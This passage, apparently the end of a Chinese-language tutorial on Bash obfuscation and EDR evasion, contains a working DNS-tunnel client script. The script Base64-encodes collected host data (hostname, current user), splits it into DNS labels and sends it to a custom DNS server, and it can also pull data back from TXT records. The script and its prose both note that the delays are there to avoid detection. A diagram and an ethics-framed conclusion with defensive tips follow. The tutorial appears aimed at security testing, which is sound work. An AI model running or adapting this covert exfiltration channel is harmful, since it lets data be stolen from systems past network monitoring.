            echo "       原始資料: $clean_result"
            return 1
        fi
    else
        echo "[失敗] 未收到 DNS 回應或查詢超時"
        echo "       查詢鍵值: $query_key"
        return 1
    fi
    
    echo "--------------------------------"
}

# 資料傳送函式(透過 DNS 查詢)
# 將資料編碼後作為子網域名稱發送
send_data() {
    local data_to_send="$1"
    local session_id="$2"
    
    # 編碼要傳送的資料
    local encoded_data=$(encode_data "$data_to_send")
    
    # 將編碼後的資料分割成適合 DNS 標籤長度的片段
    # DNS 標籤不能超過63個字元
    local chunk_size=$MAX_LABEL_LENGTH
    local data_length=${#encoded_data}
    local chunk_count=$(( (data_length + chunk_size - 1) / chunk_size ))
    
    echo "[傳送] 準備傳送資料"
    echo "       原始長度: $data_length 字元"
    echo "       分割為: $chunk_count 個片段"
    
    # 逐片段發送資料
    for ((i=0; i<chunk_count; i++)); do
        local start=$((i * chunk_size))
        local chunk="${encoded_data:$start:$chunk_size}"
        
        # 構建查詢網域名稱
        # 格式: <chunk>.<sequence>.<session_id>.send.<tunnel_domain>
        local query_domain="${chunk}.${i}.${session_id}.send.${TUNNEL_DOMAIN}"
        
        echo "[片段 $((i+1))/$chunk_count] 發送: ${chunk:0:20}..."
        
        # 發送 DNS 查詢(不需要回應內容)
        dig @$DNS_SERVER +short "$query_domain" &>/dev/null
        
        # 短暫延遲,避免過快的連續查詢引起注意
        sleep 0.5
    done
    
    echo "[完成] 資料傳送完成"
}

# 示範使用場景

echo "=== 場景 1: 檢索遠端資料 ==="
echo ""

# 從遠端伺服器檢索預設的資訊
retrieve_data "system_info"
echo ""

retrieve_data "config_data"
echo ""

# 檢索不存在的鍵值(示範錯誤處理)
retrieve_data "nonexistent_key"
echo ""

echo "=== 場景 2: 傳送本地資料 ==="
echo ""

# 生成一個唯一的會話 ID
SESSION_ID=$(date +%s | md5sum | cut -c1-8)

# 收集並傳送系統資訊
HOSTNAME=$(hostname)
CURRENT_USER=$(whoami)
SYSTEM_DATA="Host:${HOSTNAME}|User:${CURRENT_USER}|Time:$(date +%s)"

echo "準備傳送系統資料..."
send_data "$SYSTEM_DATA" "$SESSION_ID"
echo ""

echo "=== DNS 隧道通訊測試完成 ==="

這個腳本實作了完整的 DNS 隧道客戶端功能,包括資料的編碼、解碼、傳送和接收。腳本透過 dig 命令與自訂的 DNS 伺服器進行通訊,將資料編碼到 DNS 查詢的子網域名稱中,或從 DNS TXT 記錄中提取資料。

資料編碼使用了 URL-safe 的 Base64 格式,這種格式將標準 Base64 中的 +/ 字元替換為 -_,使其更適合在 DNS 查詢中使用。對於超過 DNS 標籤長度限制的資料,腳本會自動將其分割成多個片段,逐個發送。

這種通訊方式具有高度的隱蔽性,因為 DNS 流量在網路中非常普遍,不易引起注意。然而,現代的網路安全系統也開始注意到異常的 DNS 查詢模式,因此在實際使用中需要謹慎控制查詢頻率和資料量。

@startuml
!define PLANTUML_FORMAT svg
!theme _none_

skinparam dpi auto
skinparam shadowing false
skinparam linetype ortho
skinparam roundcorner 5
skinparam defaultFontName "Microsoft JhengHei UI"
skinparam defaultFontSize 16

title DNS 隧道資料傳輸架構

actor "測試客戶端" as client
participant "DNS 解析器" as resolver
participant "自訂 DNS\n伺服器" as dns_server
database "資料儲存" as storage

== 資料檢索流程 ==

client -> client: 構建查詢請求\n<key>.get.tunnel.domain
client -> resolver: 發送 DNS TXT\n記錄查詢
resolver -> dns_server: 轉發查詢請求
dns_server -> storage: 查找對應資料
storage --> dns_server: 返回編碼資料
dns_server --> resolver: TXT 記錄回應
resolver --> client: 返回 TXT 記錄
client -> client: Base64 解碼\n還原原始資料

== 資料傳送流程 ==

client -> client: 將資料 Base64\n編碼
client -> client: 分割為多個\nDNS 標籤片段
loop 每個資料片段
    client -> resolver: 發送 DNS 查詢\n<chunk>.<seq>.<sid>.send.domain
    resolver -> dns_server: 轉發查詢
    dns_server -> storage: 儲存資料片段
    dns_server --> resolver: 確認回應
    resolver --> client: 查詢完成
end

dns_server -> storage: 重組完整資料
storage --> dns_server: 資料完整性確認

note right of dns_server
    DNS 隧道特點:
    - 利用合法 DNS 流量
    - 難以被防火牆阻擋
    - 需要自訂 DNS 伺服器
    - 傳輸速度受限
end note

@enduml

結論與安全測試最佳實踐

本文系統性地介紹了在 Bash 環境下實作的各種混淆與反偵測技術,這些技術涵蓋了從基礎的系統資訊蒐集到進階的隱蔽通訊方法。透過這些技術的實際範例,我們深入理解了現代 EDR 系統的偵測機制及其潛在的限制。然而,必須強調的是,這些技術的存在目的並非用於實際的惡意活動,而是作為安全測試與評估的重要工具。

在進行安全評估時,測試人員必須遵守嚴格的職業道德與法律規範。所有的測試活動都應該在取得明確授權的環境中進行,並且應該有完整的測試計畫和風險評估。測試結果應該被用於改善系統的安全防護能力,而非被濫用於非法目的。

對於防禦方而言,理解這些攻擊技術同樣重要。透過瞭解攻擊者可能採用的手段,可以更有針對性地設計防護策略,例如加強對異常 DNS 流量的監控、實作更嚴格的腳本執行政策、或是部署行為分析系統來識別可疑的時間模式。同時,定期進行安全評估和滲透測試,能夠及時發現防護機制的弱點,持續提升系統的整體安全水準。

最終,資訊安全是一個持續演進的領域,攻防雙方都在不斷學習和進步。保持對新技術和新威脅的關注,持續更新知識和技能,是每一位資安專業人員的重要責任。透過合法、道德的安全測試實踐,我們能夠共同建構更加安全可靠的數位環境。